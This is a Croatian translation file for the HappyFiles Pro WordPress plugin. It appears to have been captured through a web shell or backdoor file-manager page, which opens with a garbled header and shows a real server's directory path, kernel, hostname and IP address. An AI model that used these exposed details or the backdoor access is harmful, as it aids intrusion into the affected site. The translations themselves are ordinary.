PK qhYJFF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/sc1buiq6159/smile.formagloba.fr/wp-content/plugins/happyfiles-pro/languages/
Server: Linux apophis.o2switch.net 4.18.0-553.111.1.lve.el8.x86_64 #1 SMP Fri Mar 13 13:42:17 UTC 2026 x86_64
IP: 109.234.164.184
Choose File :

Url:
Dir : /home/sc1buiq6159/smile.formagloba.fr/wp-content/plugins/happyfiles-pro/languages/happyfiles-hr.po

# Copyright (C) 2021 HappyFiles Internationalisation
# This file is distributed under the same license as the HappyFiles Internationalisation package.
msgid ""
msgstr ""
"Project-Id-Version: HappyFiles Internationalisation\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-KeywordsList: __;_e;_ex:1,2c;_n:1,2;_n_noop:1,2;_nx:1,2,4c;"
"_nx_noop:1,2,3c;_x:1,2c;esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;"
"esc_html_e;esc_html_x:1,2c\n"
"X-Poedit-SourceCharset: UTF-8\n"
"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n"
"%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n"
"POT-Creation-Date: \n"
"PO-Revision-Date: \n"
"Language-Team: \n"
"X-Generator: Poedit 2.3\n"
"Last-Translator: \n"
"Language: hr\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.js\n"

#: ../includes/actions.php:66
#, fuzzy
msgid "No folder name or term ID provided."
msgstr "Nije naveden naziv mape ili ID pojma."

#: ../includes/data.php:175
msgid "All Files"
msgstr "Sve Datoteke"

#: ../includes/data.php:175
msgid "All %s"
msgstr "Svi %s"

#: ../includes/data.php:176
msgid "Files"
msgstr "Datoteke"

#: ../includes/data.php:168
#, fuzzy
msgid "All Plugins"
msgstr "Svi dodaci"

#: ../includes/data.php:201, ../includes/pro.php:95, ../includes/setup.php:154
#, fuzzy
msgid "Uncategorized"
msgstr "Nekategorizirano"

#: ../includes/import.php:143
#, fuzzy
msgid "Folders from another media plugin detected to import"
msgstr "Mape s drugog dodatka za medije otkrivene su za uvoz"

#: ../includes/import.php:144
#, fuzzy
msgid "Import/delete folder data"
msgstr "Uvoz/brisanje podataka mape"

#: ../includes/import.php:458, ../includes/import.php:574
#, fuzzy
msgid "%s folders imported and %s items categorized."
msgstr "Uvezene mape: %s, a stavke kategorizirane: %s."

#: ../includes/import.php:461, ../includes/import.php:577
#, fuzzy
msgid "View media library"
msgstr "Prikaz biblioteke medija"

#: ../includes/pro.php:47, ../includes/pro.php:48, ../includes/setup.php:62
#, fuzzy
msgid "Folder"
msgstr "Mapa"

#: ../includes/pro.php:49, ../includes/pro.php:51
#, fuzzy
msgid "Add new folder"
msgstr "Dodajte novu mapu"

#: ../includes/pro.php:50
#, fuzzy
msgid "Edit folder"
msgstr "Uređivanje mape"

#: ../includes/pro.php:52
#, fuzzy
msgid "Search folder"
msgstr "Mapa za pretraživanje"

#: ../includes/pro.php:53
#, fuzzy
msgid "Folder not found"
msgstr "Mapa nije pronađena"

#: ../includes/pro.php:54
#, fuzzy
msgid "Folder not found in trash"
msgstr "Mapa nije pronađena u otpadu"

#: ../includes/pro.php:94
#, fuzzy
msgid "All %s folders"
msgstr "Sve mape (njih %s)"

#: ../includes/settings.php:35
#, fuzzy
msgid ""
"Are you sure you want to delete all your HappyFiles folders, associations, "
"and settings?"
msgstr ""
"Jeste li sigurni da želite izbrisati sve svoje mape, asocijacije i postavke "
"HappyFiles?"

#: ../includes/settings.php:137
#, fuzzy
msgid "No HappyFiles data to delete."
msgstr "Nema podataka HappyFiles za brisanje."

#: ../includes/settings.php:133
#, fuzzy
msgid "HappyFiles data has been deleted."
msgstr "Podaci HappyFiles su izbrisani."

#: ../includes/settings.php:157, ../includes/admin/settings.php:3
msgid "Settings"
msgstr "Postavke"

#: ../includes/setup.php:60
#, fuzzy
msgid ""
"Click the \"+\" button above to create your first folder. Then start "
"dragging items into it. To remove an item from a folder drag it into the "
"\"Uncategorized\" folder."
msgstr ""
"Kliknite gornji gumb \"+\" da biste stvorili svoju prvu mapu. Zatim počnite "
"povlačiti stavke u nju. Da biste uklonili stavku iz mape, povucite je u mapu "
"\"Nekategorizirano\"."

#: ../includes/setup.php:61
#, fuzzy
msgid ""
"No folders found that match your search criteria. Please try another phrase "
"or clear your search. Search is case-sensitive."
msgstr ""
"Nisu pronađene mape koje odgovaraju vašim kriterijima pretraživanja. "
"Pokušajte s drugom frazom ili obrišite pretraživanje. Pretraživanje "
"razlikuje velika i mala slova."

#: ../includes/setup.php:63, ../includes/shortcode.php:95
msgid "Folders"
msgstr "Mape"

#: ../includes/setup.php:64
msgid "Select"
msgstr "Izaberi"

#: ../includes/setup.php:65
msgid "Create"
msgstr "Stvori"

#: ../includes/setup.php:66
msgid "Cancel"
msgstr "Otkaži"

#: ../includes/setup.php:67
msgid "Rename"
msgstr "Preimenuj"

#: ../includes/setup.php:68
msgid "Delete"
msgstr "Izbriši"

#: ../includes/setup.php:69
msgid "Move"
msgstr "Premjesti"

#: ../includes/setup.php:70
msgid "Search"
msgstr "Traži"

#: ../includes/setup.php:71
#, fuzzy
msgid "Uploaded"
msgstr "Učitano"

#: ../includes/setup.php:72
msgid "Sort"
msgstr "Razvrstaj"

#: ../includes/setup.php:73
#, fuzzy
msgid "Expand"
msgstr "Proširiti"

#: ../includes/setup.php:74
#, fuzzy
msgid "Collapse"
msgstr "Kolaps"

#: ../includes/setup.php:75
msgid "Details"
msgstr "Detalji"

#: ../includes/setup.php:76
#, fuzzy
msgid "Subfolders"
msgstr "Podmape"

#: ../includes/setup.php:77, ../includes/shortcode.php:96
#, fuzzy
msgid "Hold down CTRL/CMD to select multiple folders."
msgstr "Držite pritisnutu tipku CTRL/CMD za odabir više mapa."

#: ../includes/setup.php:79
#, fuzzy
msgid "Delete folders"
msgstr "Izbrišite mape"

#: ../includes/setup.php:80
#, fuzzy
msgid "Delete folders & subfolders"
msgstr "Izbrišite mape i podmape"

#: ../includes/setup.php:81
#, fuzzy
msgid ""
"Please confirm how you'd like to delete the HappyFiles folders listed below. "
"All items inside those folders are safe & won't be deleted!"
msgstr ""
"Potvrdite kako želite izbrisati dolje navedene mape HappyFiles. Sve stavke "
"unutar tih mapa su sigurne i neće se izbrisati!"

#: ../includes/setup.php:82
#, fuzzy
msgid "The selected folders have been deleted."
msgstr "Odabrane mape su izbrisane."

#: ../includes/setup.php:83
#, fuzzy
msgid ""
"The selected folder no longer exists. We recommend selecting another folder."
msgstr "Odabrana mapa više ne postoji. Preporučujemo odabir druge mape."

#: ../includes/setup.php:86
#, fuzzy
msgid "Click to copy"
msgstr "Kliknite za kopiranje"

#: ../includes/setup.php:87
#, fuzzy
msgid "Gallery shortcode"
msgstr "Kratki kôd galerije"

#: ../includes/setup.php:88
msgid "Default"
msgstr "Zadano"

#: ../includes/setup.php:89, ../includes/shortcode.php:91
msgid "Columns"
msgstr "Stupci"

#: ../includes/setup.php:90, ../includes/shortcode.php:92
#, fuzzy
msgid "Max items"
msgstr "Maksimalan broj stavki"

#: ../includes/setup.php:91, ../includes/shortcode.php:93
msgid "Height"
msgstr "Visina"

#: ../includes/setup.php:92, ../includes/shortcode.php:94
msgid "Spacing"
msgstr "Razmak"

#: ../includes/setup.php:93, ../includes/shortcode.php:99
msgid "Order by"
msgstr "Narudžbu je poslao"

#: ../includes/setup.php:94, ../includes/shortcode.php:100
msgid "Order"
msgstr "Narudžba"

#: ../includes/setup.php:95, ../includes/shortcode.php:97
msgid "Image size"
msgstr "Veličina slike"

#: ../includes/setup.php:96, ../includes/shortcode.php:98
msgid "Link to"
msgstr "Poveznica na"

#: ../includes/setup.php:97, ../includes/shortcode.php:101
#, fuzzy
msgid "Include subfolder"
msgstr "Uključi podmapu"

#: ../includes/setup.php:98, ../includes/shortcode.php:102
msgid "Caption"
msgstr "Opis"

#: ../includes/setup.php:99, ../includes/setup.php:100,
#: ../includes/setup.php:101, ../includes/setup.php:102,
#: ../includes/shortcode.php:103, ../includes/shortcode.php:104,
#: ../includes/shortcode.php:105, ../includes/shortcode.php:106
#, fuzzy
msgid "Lightbox"
msgstr "Svjetleća kutija"

#: ../includes/setup.php:100, ../includes/shortcode.php:104
#, fuzzy
msgid "Fullscreen"
msgstr "Puni zaslon"

#: ../includes/setup.php:101, ../includes/shortcode.php:105
#, fuzzy
msgid "Thumbnails"
msgstr "Sličice"

#: ../includes/setup.php:102, ../includes/shortcode.php:106
msgid "Zoom"
msgstr "Uvećanje"

#: ../includes/setup.php:105
msgid "Date"
msgstr "Datum"

#: ../includes/setup.php:106
msgid "Author"
msgstr "Autor"

#: ../includes/setup.php:107
msgid "Name"
msgstr "Ime"

#: ../includes/setup.php:108
msgid "Title"
msgstr "Naslov"

#: ../includes/setup.php:109
msgid "Type"
msgstr "Vrsta"

#: ../includes/setup.php:110
msgid "Modified"
msgstr "Datum promjene"

#: ../includes/setup.php:111
msgid "Random"
msgstr "Nasumično"

#: ../includes/setup.php:112, ../includes/shortcode.php:141
msgid "None"
msgstr "Nijedan"

#: ../includes/setup.php:113, ../includes/pro/filesizes.php:27
msgid "File size"
msgstr "Veličina datoteke"

#: ../includes/setup.php:116
msgid "Descending"
msgstr "Silazno"

#: ../includes/setup.php:117
msgid "Ascending"
msgstr "Uzlazno"

#: ../includes/setup.php:120
msgid "Attachment"
msgstr "Privitak"

#: ../includes/setup.php:121
msgid "Media"
msgstr "Mediji"

#: ../includes/setup.php:148
#, fuzzy
msgid "Optional: Assign a folder to your uploaded file(s):"
msgstr "Izborno: dodijelite mapu prenesenim datotekama (datotekama):"

#: ../includes/shortcode.php:88
msgid "Gallery"
msgstr "Galerija"

#: ../includes/shortcode.php:89
#, fuzzy
msgid "Display your images in a beautiful gallery."
msgstr "Prikažite svoje slike u prekrasnoj galeriji."

#: ../includes/shortcode.php:90
#, fuzzy
msgid "Gallery settings"
msgstr "Postavke galerije"

#: ../includes/shortcode.php:132
msgid "Thumbnail"
msgstr "Sličica"

#: ../includes/shortcode.php:133
msgid "Medium"
msgstr "Srednje"

#: ../includes/shortcode.php:134
msgid "Large"
msgstr "Veliko"

#: ../includes/shortcode.php:135
msgid "Full size"
msgstr "Puna veličina"

#: ../includes/shortcode.php:139
#, fuzzy
msgid "Attachment page"
msgstr "Stranica u privitku"

#: ../includes/shortcode.php:140
#, fuzzy
msgid "Media file"
msgstr "Medijska datoteka"

#: ../includes/shortcode.php:330
#, fuzzy
msgid "No folder selected."
msgstr "Nije odabrana nijedna mapa."

#: ../includes/shortcode.php:354
#, fuzzy
msgid "The selected folder has no items."
msgstr "Odabrana mapa nema stavki."

#: ../includes/user.php:95, ../includes/admin/settings.php:71
#, fuzzy
msgid "Folder access"
msgstr "Pristup mapama"

#: ../includes/user.php:98, ../includes/admin/settings.php:92
#, fuzzy
msgid "View folders"
msgstr "Prikaz mapa"

#: ../includes/user.php:99, ../includes/admin/settings.php:91
#, fuzzy
msgid "Full access"
msgstr "Puni pristup"

#: ../includes/user.php:100, ../includes/admin/settings.php:93
#, fuzzy
msgid "No access"
msgstr "Nema pristupa"

#: ../includes/user.php:106, ../includes/pro/settings.php:261
#, fuzzy
msgid "SVG support"
msgstr "SVG podrška"

#: ../includes/user.php:110
#, fuzzy
msgid "Enable SVG uploads, preview, and sanitization"
msgstr "Omogućite SVG prijenose, pregled i čišćenje"

#: ../includes/admin/settings.php:6
msgid "General"
msgstr "Općenito"

#: ../includes/admin/settings.php:7
msgid "Permissions"
msgstr "Dozvole"

#: ../includes/admin/settings.php:8, ../includes/admin/settings.php:128
msgid "Import"
msgstr "Uvoz"

#: ../includes/admin/settings.php:20, ../includes/admin/settings.php:25
#, fuzzy
msgid "Assign multiple folders"
msgstr "Dodijelite više mapa"

#: ../includes/admin/settings.php:28
#, fuzzy
msgid ""
"When enabled you can assign multiple folders to one item. If disabled an "
"item can only be assigned to one folder."
msgstr ""
"Kad je omogućeno, možete dodijeliti više mapa jednoj stavci. Ako je "
"onemogućeno, stavka se može dodijeliti samo jednoj mapi."

#: ../includes/admin/settings.php:34, ../includes/admin/settings.php:39
#, fuzzy
msgid "Remove from all folders"
msgstr "Ukloni iz svih mapa"

#: ../includes/admin/settings.php:42
#, fuzzy
msgid ""
"When enabled removing an item from a folder removes it from all other "
"folders. If disabled the item will only be removed from the open folder."
msgstr ""
"Kada je omogućeno uklanjanje stavke iz mape, uklanja se iz svih ostalih "
"mapa. Ako je onemogućeno, stavka će se ukloniti samo iz otvorene mape."

#: ../includes/admin/settings.php:48, ../includes/admin/settings.php:53
#, fuzzy
msgid "Infinite scrolling"
msgstr "Beskonačno pomicanje"

#: ../includes/admin/settings.php:56
#, fuzzy
msgid ""
"When enabled the media library uses infinite scrolling instead of the new "
"\"Load more\" button (that was introduces in WordPress 5.8)."
msgstr ""
"Kad je omogućeno, biblioteka medija koristi beskonačno pomicanje umjesto "
"novog gumba \"Učitaj više\" (koji je predstavljen u WordPressu 5.8)."

#: ../includes/admin/settings.php:72
#, fuzzy
msgid ""
"Set folder access level per user role. Set folder access for individual user "
"on user profile page."
msgstr ""
"Postavite razinu pristupa mapi prema korisničkoj ulozi. Postavite pristup "
"mapi za svakog korisnika na stranici korisničkog profila."

#: ../includes/admin/settings.php:131
#, fuzzy
msgid "No folders found to import."
msgstr "Nije pronađena nijedna mapa za uvoz."

#: ../includes/admin/settings.php:122
#, fuzzy
msgid "%s folders with %s associated items found to import."
msgstr "Za uvoz je pronađeno %s mapa s %s povezanih stavki."

#: ../includes/admin/settings.php:129, ../includes/admin/settings.php:144
#, fuzzy
msgid "Delete plugin data"
msgstr "Izbrišite podatke dodatka"

#: ../includes/admin/settings.php:143
msgid "Save changes"
msgstr "Spremi promjene"

#: ../includes/pro/settings.php:61
#, fuzzy
msgid "License key deletion failed."
msgstr "Brisanje licencnog ključa nije uspjelo."

#: ../includes/pro/settings.php:59
#, fuzzy
msgid "License key has been removed."
msgstr "Licencni ključ je uklonjen."

#: ../includes/pro/settings.php:123
#, fuzzy
msgid "One click updates"
msgstr "Ažuriranja jednim klikom"

#: ../includes/pro/settings.php:139
#, fuzzy
msgid ""
"Paste your license key from your %s in here to enable one-click plugin "
"updates and notifications."
msgstr ""
"Ovdje zalijepite licencni ključ sa svojeg %s da biste omogućili ažuriranja i "
"obavijesti dodataka jednim klikom."

#: ../includes/pro/settings.php:139
#, fuzzy
msgid "HappyFiles account"
msgstr "HappyFiles račun"

#: ../includes/pro/settings.php:135
msgid "Deactivate license"
msgstr "Deaktiviranje licence"

#: ../includes/pro/settings.php:156
#, fuzzy
msgid "Post Types"
msgstr "Vrste postova"

#: ../includes/pro/settings.php:166
msgid "Plugins"
msgstr "Dodaci"

#: ../includes/pro/settings.php:199, ../includes/pro/settings.php:209
#, fuzzy
msgid "Disable in media library"
msgstr "Onemogući u biblioteci medija"

#: ../includes/pro/settings.php:222, ../includes/pro/settings.php:228
#, fuzzy
msgid "Sort by file size"
msgstr "Poredaj po veličini datoteke"

#: ../includes/pro/settings.php:231
#, fuzzy
msgid "When enabled you can sort your attachments by file size."
msgstr ""
"Kad je omogućeno, možete razvrstati svoje privitke prema veličini datoteke."

#: ../includes/pro/settings.php:244
#, fuzzy
msgid "Regenerate file sizes"
msgstr "Regenerirajte veličine datoteka"

#: ../includes/pro/settings.php:263
#, fuzzy
msgid ""
"Enable/disable SVG upload, preview & sanitization per user role. Set SVG "
"support for individual user on user profile page."
msgstr ""
"Omogućite/onemogućite SVG prijenos, pregled i čišćenje po ulozi korisnika. "
"Postavite SVG podršku za pojedinačnog korisnika na stranici profila "
"korisnika."

#: ../includes/pro/settings.php:264
#, fuzzy
msgid ""
"Upload SVG files only from trusted sources as they can contain and execute "
"malicious XML code."
msgstr ""
"Prenesite SVG datoteke samo iz pouzdanih izvora jer mogu sadržavati i "
"izvršavati zlonamjerni XML kod."

#: ../includes/pro/settings.php:283
msgid "Disabled"
msgstr "Onemogućeno"

#: ../includes/pro/settings.php:284
msgid "Enabled"
msgstr "Omogućeno"

#: ../includes/pro/svg.php:137
#, fuzzy
msgid ""
"This file couldn't be sanitized for security reasons and wasn't uploaded."
msgstr ""
"Ova se datoteka nije mogla očistiti iz sigurnosnih razloga i nije učitana."